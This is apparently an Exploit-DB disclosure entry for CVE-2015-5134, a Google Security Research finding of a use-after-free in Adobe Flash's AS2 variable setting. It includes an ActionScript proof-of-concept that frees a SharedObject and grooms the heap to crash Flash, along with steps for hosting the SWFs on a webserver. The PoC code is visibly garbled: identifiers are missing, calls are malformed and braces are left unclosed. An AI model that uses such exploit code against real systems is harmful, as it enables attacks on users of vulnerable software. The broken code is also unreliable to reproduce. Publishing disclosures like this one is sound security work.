Adobe Flash Use-After-Free When Setting Variable

ID EDB-ID:37852
Type exploitdb
Reporter Google Security Research
Modified 2015-08-19T00:00:00


Adobe Flash Use-After-Free When Setting Variable. CVE-2015-5134. Dos exploits for multiple platform


In certain cases where a native AS2 class sets an internal variable, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.contentType, this applies to several other variables including many proprties of the Sound and NetStream classes.

A proof of concept is as follows:

var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(, null, 0, 0xff);
var o = {myprop: "test", myprop2: "test"}; = o;
ASnative(2100, 200)(; // new NetConnection
s = 1;

//Do GC

for(var i = 0; i < 100; i++){
	var b = new flash.display.BitmapData(100, 1000, true, 1000);

setInterval(c, 1000);
function c(){
	ASnative(252, 1).call(o); //Array push


A fla, an AS file and two swfs are attached. donotdelete.fla compiles to donotdelete.swf and contains the code that causes the use-after-free. compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and donotdelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

Proof of Concept: